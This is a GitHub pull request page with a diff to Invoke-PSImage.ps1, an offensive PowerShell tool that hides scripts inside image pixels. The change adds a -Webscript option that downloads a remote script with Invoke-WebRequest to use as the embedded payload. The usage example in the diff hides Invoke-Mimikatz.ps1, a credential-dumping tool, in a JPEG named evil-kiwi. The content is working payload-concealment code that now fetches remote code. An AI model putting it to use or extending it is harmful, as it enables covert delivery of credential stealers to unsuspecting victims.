Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added ability to download script from web #6

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 15 additions & 5 deletions Invoke-PSImage.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -41,15 +41,19 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
#>

[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[Parameter(Position = 0, Mandatory = $False)]
[String]
$Script,

[Parameter(Position = 1, Mandatory = $False)]
[String]
$Webscript,

[Parameter(Position = 1, Mandatory = $True)]
[Parameter(Position = 2, Mandatory = $True)]
[String]
$Image,

[Parameter(Position = 2, Mandatory = $True)]
[Parameter(Position = 3, Mandatory = $True)]
[String]
$Out,

Expand All @@ -63,7 +67,7 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

# Normalize paths beacuse powershell is sometimes bad with them.
if (-Not [System.IO.Path]::IsPathRooted($Script)){
if ( $Script -And (-Not [System.IO.Path]::IsPathRooted($Script)) ) {
$Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Image)){
Expand All @@ -74,7 +78,13 @@ PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-ki
}

# Read in the script
$ScriptBlockString = [IO.File]::ReadAllText($Script)
if ( $WebScript ) {
$R=Invoke-WebRequest $WebScript
$ScriptBlockString=$R.Content+";"
}
else {
$ScriptBlockString = [IO.File]::ReadAllText($Script)
}
$input = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($input)

Expand Down